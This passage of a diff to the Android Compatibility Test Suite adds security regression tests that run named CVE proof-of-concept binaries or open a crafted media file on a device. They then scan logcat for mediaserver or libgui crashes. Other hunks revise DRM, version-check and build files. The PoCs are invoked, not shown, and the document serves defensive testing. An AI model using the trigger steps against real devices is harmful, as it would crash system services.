+     *  b/36991414
+     */
+    @SecurityTest
+    public void testPocBug_36991414() throws Exception {
+        if(containsDriver(getDevice(), "/system/lib64/libgui.so")) {
+          AdbUtils.runCommandLine("logcat -c", getDevice());
+          AdbUtils.runPoc("Bug-36991414", getDevice(), 60);
+          String pocOut =  AdbUtils.runCommandLine("logcat -d", getDevice());
+          assertNotMatches("[\\s\\n\\S]*Fatal signal 11" +
+                           "[\\s\\n\\S]*/system/lib64/libgui.so [\\s\\n\\S]*", pocOut);
+        }
+    }
+
+    /*
+     * b/33968204
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0340() throws Exception {
+        AdbUtils.runCommandLine("logcat -c", getDevice());
+        AdbUtils.runPocNoOutput("CVE-2017-0340", getDevice(), 60);
+        String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
+                         "[\\s\\n\\S]*>>> /system/bin/" +
+                         "mediaserver <<<[\\s\\n\\S]*", logcat);
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_08.java b/hostsidetests/security/src/android/security/cts/Poc17_08.java
new file mode 100644
index 0000000..84f2ada
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_08.java
@@ -0,0 +1,36 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_08 extends SecurityTestCase {
+
+    /**
+     *  b/36075363
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0731() throws Exception {
+        AdbUtils.runCommandLine("logcat -c", getDevice());
+        AdbUtils.runPocNoOutput("CVE-2017-0731", getDevice(), 60);
+        String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
+                         "[\\s\\n\\S]*>>> /system/bin/" +
+                         "mediaserver <<<[\\s\\n\\S]*", logcat);
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_09.java b/hostsidetests/security/src/android/security/cts/Poc17_09.java
new file mode 100644
index 0000000..261deea
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_09.java
@@ -0,0 +1,36 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_09 extends SecurityTestCase {
+
+    /*
+     * b/38234812
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0770() throws Exception {
+        AdbUtils.runCommandLine("logcat -c", getDevice());
+        AdbUtils.runPocNoOutput("CVE-2017-0770", getDevice(), 30);
+        String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
+                         "[\\s\\n\\S]*>>> /system/bin/" +
+                         "mediaserver <<<[\\s\\n\\S]*", logcat);
+    }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_11.java b/hostsidetests/security/src/android/security/cts/Poc17_11.java
new file mode 100644
index 0000000..8f1771b
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_11.java
@@ -0,0 +1,41 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_11 extends SecurityTestCase {
+
+    /**
+     * b/36075131
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0859() throws Exception {
+        AdbUtils.runCommandLine("logcat -c", getDevice());
+        AdbUtils.pushResource("/cve_2017_0859.mp4", "/sdcard/cve_2017_0859.mp4", getDevice());
+        AdbUtils.runCommandLine("am start -a android.intent.action.VIEW " +
+                                    "-d file:///sdcard/cve_2017_0859.mp4" +
+                                    " -t audio/amr", getDevice());
+        // Wait for intent to be processed before checking logcat
+        Thread.sleep(5000);
+        String logcat =  AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
+                         "[\\s\\n\\S]*>>> /system/bin/" +
+                         "mediaserver <<<[\\s\\n\\S]*", logcat);
+    }
+}
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
index 7a691ec..b99a748 100644
--- a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
+++ b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
@@ -34,6 +34,8 @@
         pinnedStackTester(PIP_ACTIVITY, PIP_ACTIVITY, true, false);
     }
 
+    /**
+     * Disabled for b/35314835
     public void testAlwaysFocusablePipActivity() throws Exception {
         pinnedStackTester(ALWAYS_FOCUSABLE_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY, true, true);
     }
@@ -42,6 +44,7 @@
         pinnedStackTester(
                 LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY, false, true);
     }
+    */
 
     private void pinnedStackTester(String startActivity, String topActivityName,
             boolean moveTopToPinnedStack, boolean isFocusable) throws Exception {
diff --git a/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java b/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java
index fa1ae69..77119c0 100644
--- a/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java
+++ b/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java
@@ -19,10 +19,12 @@
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceTestCase;
 
 import java.util.HashMap;
 import java.util.Map;
+import java.util.regex.Pattern;
 
 public class CrossAppDragAndDropTests extends DeviceTestCase {
     // Constants copied from ActivityManager.StackId. If they are changed there, these must be
@@ -47,13 +49,17 @@
     private static final String INPUT_MOUSE_SWIPE = "input mouse swipe ";
     private static final String TASK_ID_PREFIX = "taskId";
 
+    // Regex pattern to match adb shell am stack list output of the form:
+    // taskId=<TASK_ID>: <componentName> bounds=[LEFT,TOP][RIGHT,BOTTOM]
+    private static final String TASK_REGEX_PATTERN_STRING =
+            "taskId=[0-9]+: %s bounds=\\[[0-9]+,[0-9]+\\]\\[[0-9]+,[0-9]+\\]";
+
     private static final int SWIPE_DURATION_MS = 500;
 
     private static final String SOURCE_PACKAGE_NAME = "android.wm.cts.dndsourceapp";
     private static final String TARGET_PACKAGE_NAME = "android.wm.cts.dndtargetapp";
     private static final String TARGET_23_PACKAGE_NAME = "android.wm.cts.dndtargetappsdk23";
 
-
     private static final String SOURCE_ACTIVITY_NAME = "DragSource";
     private static final String TARGET_ACTIVITY_NAME = "DropTarget";
 
@@ -218,8 +224,15 @@
         CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
         mDevice.executeShellCommand(AM_STACK_LIST, outputReceiver);
         final String output = outputReceiver.getOutput();
+        final StringBuilder builder = new StringBuilder();
+        builder.append("Finding task info for task: ");
+        builder.append(name);
+        builder.append("\nParsing adb shell am output: " );
+        builder.append(output);
+        CLog.i(builder.toString());
+        final Pattern pattern = Pattern.compile(String.format(TASK_REGEX_PATTERN_STRING, name));
         for (String line : output.split("\\n")) {
-            if (line.contains(name)) {
+            if (pattern.matcher(line).find()) {
                 return line;
             }
         }
diff --git a/tests/tests/media/Android.mk b/tests/tests/media/Android.mk
index 66dcef6..47e8ae1 100644
--- a/tests/tests/media/Android.mk
+++ b/tests/tests/media/Android.mk
@@ -44,9 +44,11 @@
 # include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsmediautil ctsdeviceutil compatibility-device-util ctstestserver ctstestrunner ndkaudio
+LOCAL_STATIC_JAVA_LIBRARIES := ctsmediautil ctsdeviceutil compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES += ctstestserver ctstestrunner ndkaudio
 
-LOCAL_JNI_SHARED_LIBRARIES := libctsmediadrm_jni libctsmediacodec_jni libaudio_jni libnativehelper_compat_libc++ libndkaudioLib
+LOCAL_JNI_SHARED_LIBRARIES := libctsmediacodec_jni libaudio_jni libnativehelper_compat_libc++
+LOCAL_JNI_SHARED_LIBRARIES += libndkaudioLib libctsmediadrm_jni
 
 # do not compress VP9 video files
 LOCAL_AAPT_FLAGS := -0 .vp9
diff --git a/tests/tests/media/libmediandkjni/Android.mk b/tests/tests/media/libmediandkjni/Android.mk
index 5aa222a..1ccdede 100644
--- a/tests/tests/media/libmediandkjni/Android.mk
+++ b/tests/tests/media/libmediandkjni/Android.mk
@@ -19,7 +19,7 @@
 #
 include $(CLEAR_VARS)
 
-LOCAL_MODULE := libctsmediacodec_jni
+LOCAL_MODULE    := libctsmediacodec_jni
 
 LOCAL_MODULE_TAGS := optional
 
@@ -36,11 +36,11 @@
 
 LOCAL_SHARED_LIBRARIES := \
   libandroid libnativehelper_compat_libc++ \
-  liblog libmediandk libEGL
+  liblog libmediandk
 
-LOCAL_SDK_VERSION := 24
+LOCAL_SDK_VERSION := 23
 
-LOCAL_CFLAGS := -Werror -Wall -DEGL_EGLEXT_PROTOTYPES -std=gnu++14
+LOCAL_CFLAGS := -Werror -Wall
 
 include $(BUILD_SHARED_LIBRARY)
 
@@ -49,7 +49,7 @@
 #
 include $(CLEAR_VARS)
 
-LOCAL_MODULE := libctsmediadrm_jni
+LOCAL_MODULE    := libctsmediadrm_jni
 
 # Don't include this package in any configuration by default.
 LOCAL_MODULE_TAGS := optional
@@ -64,16 +64,17 @@
   $(JNI_H_INCLUDE) \
   system/core/include
 
+
 LOCAL_C_INCLUDES += $(call include-path-for, mediandk)
 
 LOCAL_SHARED_LIBRARIES := \
   libandroid libnativehelper_compat_libc++ \
-  liblog libmediandk libdl libEGL
+  liblog libmediandk libdl
 
-LOCAL_SDK_VERSION := 24
-
-LOCAL_CFLAGS := -Werror -Wall -DEGL_EGLEXT_PROTOTYPES
+LOCAL_SDK_VERSION := 23
 
 LOCAL_NDK_STL_VARIANT := c++_static
 
+LOCAL_CFLAGS := -Werror -Wall
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/media/libmediandkjni/md5_utils.cpp b/tests/tests/media/libmediandkjni/md5_utils.cpp
index 7850cac..8e520e1 100644
--- a/tests/tests/media/libmediandkjni/md5_utils.cpp
+++ b/tests/tests/media/libmediandkjni/md5_utils.cpp
@@ -157,7 +157,7 @@
  */
 void
 MD5Transform(UWORD32 buf[4], UWORD32 const in[16]) {
-  /*register*/ UWORD32 a, b, c, d;
+  UWORD32 a, b, c, d;
 
   a = buf[0];
   b = buf[1];
diff --git a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
index 571cec4..b98a6af 100644
--- a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
+++ b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
@@ -59,9 +59,9 @@
 static const size_t kPlayTimeSeconds = 30;
 static const size_t kUuidSize = 16;
 
-static const uint8_t kClearKeyUuid[kUuidSize] = {
-    0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
-    0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b
+static const uint8_t kWidevineUuid[kUuidSize] = {
+    0xed, 0xef, 0x8b, 0xa9, 0x79, 0xd6, 0x4a, 0xce,
+    0xa3, 0xc8, 0x27, 0xdc, 0xd5, 0x1d, 0x21, 0xed
 };
 
 // The test content is not packaged with clearkey UUID,
@@ -77,8 +77,8 @@
     // number of key ids
     0x00, 0x00, 0x00, 0x01,
     // key id
-    0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
-    0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
+    0x60, 0x06, 0x1e, 0x01, 0x7e, 0x47, 0x7e, 0x87,
+    0x7e, 0x57, 0xd0, 0x0d, 0x1e, 0xd0, 0x0d, 0x1e,
     // size of data, must be zero
     0x00, 0x00, 0x00, 0x00
 };
@@ -86,23 +86,23 @@
 static const uint8_t kKeyRequestData[] = {
     0x7b, 0x22, 0x6b, 0x69, 0x64,
     0x73, 0x22, 0x3a, 0x5b, 0x22,
-    0x4d, 0x44, 0x41, 0x77, 0x4d,
-    0x44, 0x41, 0x77, 0x4d, 0x44,
-    0x41, 0x77, 0x4d, 0x44, 0x41,
-    0x77, 0x4d, 0x44, 0x41, 0x77,
-    0x4d, 0x41, 0x22, 0x5d, 0x2c,
+    0x59, 0x41, 0x59, 0x65, 0x41,
+    0x58, 0x35, 0x48, 0x66, 0x6f,
+    0x64, 0x2b, 0x56, 0x39, 0x41,
+    0x4e, 0x48, 0x74, 0x41, 0x4e,
+    0x48, 0x67, 0x22, 0x5d, 0x2c,
     0x22, 0x74, 0x79, 0x70, 0x65,
     0x22, 0x3a, 0x22, 0x74, 0x65,
     0x6d, 0x70, 0x6f, 0x72, 0x61,
-    0x72, 0x79, 0x22, 0x7d
+    0x72, 0x79, 0x22, 0x7d,
 };
 
 static const size_t kKeyRequestSize = sizeof(kKeyRequestData);
 
 // base 64 encoded JSON response string, must not contain padding character '='
 static const char kResponse[] = "{\"keys\":[{\"kty\":\"oct\"," \
-        "\"kid\":\"MDAwMDAwMDAwMDAwMDAwMA\",\"k\":" \
-        "\"Pwoz80CYueIrwHjgobXoVA\"}]}";
+        "\"kid\":\"YAYeAX5Hfod+V9ANHtANHg\",\"k\":" \
+        "\"GoogleTestKeyBase64ggg\"}]}";
 
 static bool isUuidSizeValid(Uuid uuid) {
     return (uuid.size() == kUuidSize);
@@ -246,12 +246,17 @@
     for (size_t i = 0; i < psshInfo->numentries; i++) {
         PsshEntry *entry = &psshInfo->entries[i];
 
-        if (0 == memcmp(entry->uuid, kClearKeyUuid, sizeof(entry->uuid))) {
-            aMediaObjects.setDrm(AMediaDrm_createByUUID(&juuid[0]));
-            if (aMediaObjects.getDrm()) {
+        // We do not have clearkey content that contains ClearKey UUID in the
+        // pssh box. So we have to test if it has Widevine UUID instead.
+        // TODO: Replace kWidevineUuid with uuid when test content contains
+        // ClearKey UUID.
+        if (0 == memcmp(entry->uuid, kWidevineUuid, sizeof(entry->uuid))) {
+            aMediaObjects.setCrypto(
+                AMediaCrypto_new(entry->uuid, entry->data, entry->datalen));
+            if (aMediaObjects.getCrypto()) {
                 testResult = JNI_TRUE;
             } else {
-                ALOGE("Failed to create media drm=%zd", i);
+                ALOGE("Failed to create media crypto=%zd", i);
                 testResult = JNI_FALSE;
             }
             break;
@@ -288,7 +293,6 @@
         AMediaCodec** codec) {
     size_t numTracks = AMediaExtractor_getTrackCount(
         const_cast<AMediaExtractor*>(extractor));
-
     AMediaFormat* trackFormat = NULL;
     for (size_t i = 0; i < numTracks; ++i) {
         trackFormat = AMediaExtractor_getTrackFormat(
@@ -301,7 +305,6 @@
             if (!AMediaFormat_getString(
                 trackFormat, AMEDIAFORMAT_KEY_MIME, &mime)) {
                 ALOGE("no mime type");
-
                 AMediaFormat_delete(trackFormat);
                 return;
             } else if (isAudio(mime) || isVideo(mime)) {
@@ -347,7 +350,6 @@
 
         AMediaCodecCryptoInfo *cryptoInfo =
             AMediaExtractor_getSampleCryptoInfo(extractor);
-
         if (cryptoInfo) {
             status = AMediaCodec_queueSecureInputBuffer(
                 codec, bufferIndex, 0, cryptoInfo,
@@ -418,7 +420,6 @@
     }
 
     addTracks(audioExtractor, NULL, NULL, &audioCodec);
-
     addTracks(videoExtractor, crypto, window, &videoCodec);
 
     bool sawAudioInputEos = false;
@@ -614,7 +615,7 @@
             int count = 0;
             while (!gGotVendorDefinedEvent && count++ < 5) {
                // Prevents race condition when the event arrives late
-               usleep(2000);
+               usleep(1000);
             }
             if (!gGotVendorDefinedEvent) {
                 ALOGE("Event listener did not receive the expected event.");
diff --git a/tests/tests/media/src/android/media/cts/ConnectionStatus.java b/tests/tests/media/src/android/media/cts/ConnectionStatus.java
index 407e553..37fc75e 100644
--- a/tests/tests/media/src/android/media/cts/ConnectionStatus.java
+++ b/tests/tests/media/src/android/media/cts/ConnectionStatus.java
@@ -132,14 +132,6 @@
     }
 
     public void testConnection(Uri uri) {
-        final String GOOG = "www.google.com";
-
-        if (pingTest(GOOG)) {
-            Log.d(TAG, "Successfully pinged " + GOOG);
-        } else {
-            Log.e(TAG, "Failed to ping " + GOOG);
-        }
-
         if (pingTest(uri.getHost())) {
             Log.d(TAG, "Successfully pinged " + uri.getHost());
         } else {
diff --git a/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
index 649496e..1d4500f 100644
--- a/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
+++ b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
@@ -18,13 +18,12 @@
 import static org.junit.Assert.assertThat;
 import static org.junit.matchers.JUnitMatchers.containsString;
 
+import android.cts.util.MediaUtils;
 import android.net.Uri;
-import android.os.Build;
 import android.util.Log;
 import android.view.Surface;
 import android.view.SurfaceHolder;
 
-import android.cts.util.MediaUtils;
 import com.google.android.collect.Lists;
 
 import java.nio.ByteBuffer;
@@ -45,12 +44,11 @@
     private static final String ISO_BMFF_VIDEO_MIME_TYPE = "video/avc";
     private static final String ISO_BMFF_AUDIO_MIME_TYPE = "audio/avc";
     private static final Uri CENC_AUDIO_URL = Uri.parse(
-        "https://storage.googleapis.com/wvmedia/clear/h264/llama/" +
-        "llama_aac_audio.mp4");
-
+        "http://yt-dash-mse-test.commondatastorage.googleapis.com/media/" +
+        "car_cenc-20120827-8c.mp4");
     private static final Uri CENC_CLEARKEY_VIDEO_URL = Uri.parse(
-        "https://storage.googleapis.com/wvmedia/clearkey/" +
-        "llama_h264_main_720p_8000.mp4");
+        "http://yt-dash-mse-test.commondatastorage.googleapis.com/media/" +
+        "car_cenc-20120827-88.mp4");
 
     private static final int UUID_BYTE_SIZE = 16;
     private static final UUID CLEARKEY_SCHEME_UUID =
@@ -96,7 +94,7 @@
 
     private boolean deviceHasMediaDrm() {
         // ClearKey is introduced after KitKat.
-        if (Build.VERSION.SDK_INT <= android.os.Build.VERSION_CODES.KITKAT) {
+        if (android.os.Build.VERSION.SDK_INT <= android.os.Build.VERSION_CODES.KITKAT) {
             Log.i(TAG, "This test is designed to work after Android KitKat.");
             return false;
         }
@@ -172,12 +170,25 @@
         }
         connectionStatus.testConnection(videoUrl);
 
-        if (!MediaUtils.checkCodecsForPath(mContext, videoUrl.toString())) {
+        if (!MediaUtils.checkCodecsForPath(mContext, videoUrl.getPath())) {
             Log.i(TAG, "Device does not support " +
                   videoWidth + "x" + videoHeight + " resolution for " + mimeType);
             return;  // skip
         }
 
+        // set to true if modify isVersionSmaller()
+        if (false)
+            unitTestIsVersionSmaller();
+
+        // This test requires two changes in frameworks/av (go/av/1628977 and
+        // go/ag/1598174) that are in 7.1.2 and above.
+        // Version 8 and above does not need this check.
+        if (isVersionSmaller(android.os.Build.VERSION.RELEASE, "7.1.2")) {
+            Log.i(TAG, "This test requires android \"7.1.2\" or higher.");
+            Log.i(TAG, "This device is running \"" +
+                  android.os.Build.VERSION.RELEASE + "\".");
+            return; // skip
+        }
         PlaybackParams params = new PlaybackParams();
         params.surface = mActivity.getSurfaceHolder().getSurface();
         params.mimeType = mimeType;
@@ -191,52 +202,49 @@
         params.surface.release();
     }
 
-    /*
-     * Compare version strings
-     *
-     * @param actual Actual platform's Android version
-     * @param expected Minimum Android version
-     *
-     * @return 0 if the versions are identical
-     * @return +v if actual is greater than expected
-     * @return -ve if actual is less than expected
+    private void unitTestIsVersionSmaller() {
+        assertTrue(isVersionSmaller("6.9", "7.1.2"));
+        assertTrue(isVersionSmaller("7.1", "7.1.2"));
+        assertTrue(isVersionSmaller("7.1.1", "7.1.2"));
+        assertTrue(isVersionSmaller("7.1.1.4", "7.1.2"));
+        assertFalse(isVersionSmaller("7.1.2", "7.1.2"));
+        assertFalse(isVersionSmaller("8.0", "7.1.2"));
+        assertFalse(isVersionSmaller("8.1.2", "7.1.2"));
+    }
+
+    private ArrayList<Integer> intVersion(String version) {
+        String versions[] = version.split("\\.");
+
+        ArrayList<Integer> versionNumbers = Lists.newArrayList();
+        for (String subVersion : versions) {
+            versionNumbers.add(Integer.parseInt(subVersion));
+        }
+        return versionNumbers;
+    }
+
+    /**
+     * Return true if smaller, return false if great than or equal to the
+     * target version.
      */
-    private static Integer compareVersion(String actual, String expected) {
-        String[] part1 = actual.split("\\.");
-        String[] part2 = expected.split("\\.");
+    private boolean isVersionSmaller(String testVersion, String targetVersion) {
+        ArrayList<Integer> intTestVersion = intVersion(testVersion);
+        ArrayList<Integer> intTargetVersion = intVersion(targetVersion);
 
-        int idx = 0;
-        for (; idx < part1.length && idx < part2.length; idx++) {
-            String p1 = part1[idx];
-            String p2 = part2[idx];
-
-            int cmp;
-            if (p1.matches("\\d+") && p2.matches("\\d+")) {
-                cmp = new Integer(p1).compareTo(new Integer(p2));
-            } else {
-                cmp = part1[idx].compareTo(part2[idx]);
-            }
-            if (cmp != 0) return cmp;
-        }
-
-        if (part1.length == part2.length) {
-            return 0;
-        } else {
-            boolean left = part1.length > idx;
-            String[] parts = left ? part1 : part2;
-
-            for (; idx < parts.length; idx++) {
-                String p = parts[idx];
-                int cmp;
-                if (p.matches("\\d+")) {
-                    cmp = new Integer(p).compareTo(0);
+        Iterator itr = intTestVersion.iterator();
+        for (int targetNumber : intTargetVersion) {
+            if (itr.hasNext()) {
+                int testNumber = (int) itr.next();
+                if (testNumber == targetNumber) {
+                    continue;
                 } else {
-                    cmp = 1;
+                    return testNumber < targetNumber;
                 }
-                if (cmp != 0) return left ? cmp : -cmp;
+            } else {
+                // treat test version as 0
+                return 0 != targetNumber;
             }
-            return 0;
         }
+        return false;
     }
 
     private static native boolean isCryptoSchemeSupportedNative(final byte[] uuid);
@@ -250,14 +258,10 @@
     private static native boolean testPsshNative(final byte[] uuid, final String videoUrl);
 
     public void testClearKeyPlaybackCenc() throws Exception {
-        if (compareVersion(Build.VERSION.RELEASE, "7.1.2") >= 0) {
-            testClearKeyPlayback(
-                    ISO_BMFF_VIDEO_MIME_TYPE,
-                    CENC_AUDIO_URL,
-                    CENC_CLEARKEY_VIDEO_URL,
-                    VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
-        } else {
-            Log.i(TAG, "Skip test, which is intended for Android 7.1.2 and above.");
-        }
+        testClearKeyPlayback(
+                ISO_BMFF_VIDEO_MIME_TYPE,
+                CENC_AUDIO_URL,
+                CENC_CLEARKEY_VIDEO_URL,
+                VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
     }
 }
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index 5397fc6a..4dc87b1 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -48,3 +48,34 @@
 include $(BUILD_CTS_PACKAGE)
 
 include $(call all-makefiles-under,$(LOCAL_PATH))
+
+# platform version check (b/32056228)
+# ============================================================
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := cts-platform-version-check
+LOCAL_MODULE_CLASS := ETC
+LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+cts_platform_version_path := cts/tests/tests/os/assets/platform_versions.txt
+cts_platform_version_string := $(shell cat $(cts_platform_version_path))
+
+include $(BUILD_SYSTEM)/base_rules.mk
+
+$(LOCAL_BUILT_MODULE) : $(cts_platform_version_path) build/core/version_defaults.mk
+	$(hide) if [ -z "$(findstring $(PLATFORM_VERSION),$(cts_platform_version_string))" ]; then \
+		echo "============================================================" 1>&2; \
+		echo "Could not find version \"$(PLATFORM_VERSION)\" in CTS platform version file:" 1>&2; \
+		echo "" 1>&2; \
+		echo "	$(cts_platform_version_path)" 1>&2; \
+		echo "" 1>&2; \
+		echo "Most likely PLATFORM_VERSION in build/core/version_defaults.mk" 1>&2; \
+		echo "has changed and a new version must be added to this CTS file." 1>&2; \
+		echo "============================================================" 1>&2; \
+		exit 1; \
+	fi
+	@mkdir -p $(dir $@)
+	echo $(cts_platform_version_string) > $@
diff --git a/tests/tests/os/assets/platform_versions.txt b/tests/tests/os/assets/platform_versions.txt
new file mode 100644
index 0000000..6f9c237
--- /dev/null
+++ b/tests/tests/os/assets/platform_versions.txt
@@ -0,0 +1,3 @@
+7.1
+7.1.1
+7.1.2
diff --git a/tests/tests/os/src/android/os/cts/BuildVersionTest.java b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
index e39249b..d06171b 100644
--- a/tests/tests/os/src/android/os/cts/BuildVersionTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
@@ -16,10 +16,16 @@
 
 package android.os.cts;
 
+import android.content.res.AssetManager;
 import android.os.Build;
 import android.platform.test.annotations.RestrictedBuildTest;
+import android.support.test.InstrumentationRegistry;
 import android.util.Log;
 
+import java.io.BufferedReader;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.IOException;
 import java.util.Arrays;
 import java.util.HashSet;
 import java.util.Set;
@@ -29,17 +35,16 @@
 public class BuildVersionTest extends TestCase {
 
     private static final String LOG_TAG = "BuildVersionTest";
-    private static final Set<String> EXPECTED_RELEASES =
-            new HashSet<String>(Arrays.asList("7.1","7.1.1","7.1.2"));
     private static final int EXPECTED_SDK = 25;
     private static final String EXPECTED_BUILD_VARIANT = "user";
     private static final String EXPECTED_TAG = "release-keys";
+    private static final String PLATFORM_VERSIONS_FILE = "platform_versions.txt";
 
     @SuppressWarnings("deprecation")
     @RestrictedBuildTest
     public void testReleaseVersion() {
         // Applications may rely on the exact release version
-        assertAnyOf("BUILD.VERSION.RELEASE", Build.VERSION.RELEASE, EXPECTED_RELEASES);
+        assertAnyOf("BUILD.VERSION.RELEASE", Build.VERSION.RELEASE, getExpectedReleases());
         assertEquals("Build.VERSION.SDK", "" + EXPECTED_SDK, Build.VERSION.SDK);
         assertEquals("Build.VERSION.SDK_INT", EXPECTED_SDK, Build.VERSION.SDK_INT);
     }
@@ -94,4 +99,20 @@
                      ", should be one of: " + permittedValues);
         }
     }
+
+    private Set<String> getExpectedReleases() {
+        Set<String> expectedReleases = new HashSet<String>();
+        final AssetManager assets =
+                InstrumentationRegistry.getInstrumentation().getTargetContext().getAssets();
+        String line;
+        try (BufferedReader br =
+                new BufferedReader(new InputStreamReader(assets.open(PLATFORM_VERSIONS_FILE)))) {
+            while ((line = br.readLine()) != null) {
+                expectedReleases.add(line);
+            }
+        } catch (IOException e) {
+            fail("Could not open file " + PLATFORM_VERSIONS_FILE + " to run test");
+        }
+        return expectedReleases;
+    }
 }
diff --git a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
index 277198e..575b35e 100644
--- a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
@@ -538,6 +538,7 @@
                     "/data/mdl",
                     "/data/misc",
                     "/data/misc/bluetooth",
+                    "/data/misc/bluetooth/logs",
                     "/data/misc/dhcp",
                     "/data/misc/lockscreen",
                     "/data/misc/sensor",
diff --git a/tests/tests/security/Android.mk b/tests/tests/security/Android.mk
index 100e1ba..db014a4 100644
--- a/tests/tests/security/Android.mk
+++ b/tests/tests/security/Android.mk
@@ -26,33 +26,13 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner org.apache.http.legacy
 
 LOCAL_JNI_SHARED_LIBRARIES := libctssecurity_jni libcts_jni libnativehelper_compat_libc++ \
-		libnativehelper \
-		libbinder \
-		libutils \
-		libmedia \
-		libselinux \
-		libcutils \
-		libcrypto \
-		libc++ \
-		libbacktrace \
-		libui \
-		libsonivox \
-		libexpat \
-		libcamera_client \
-		libgui \
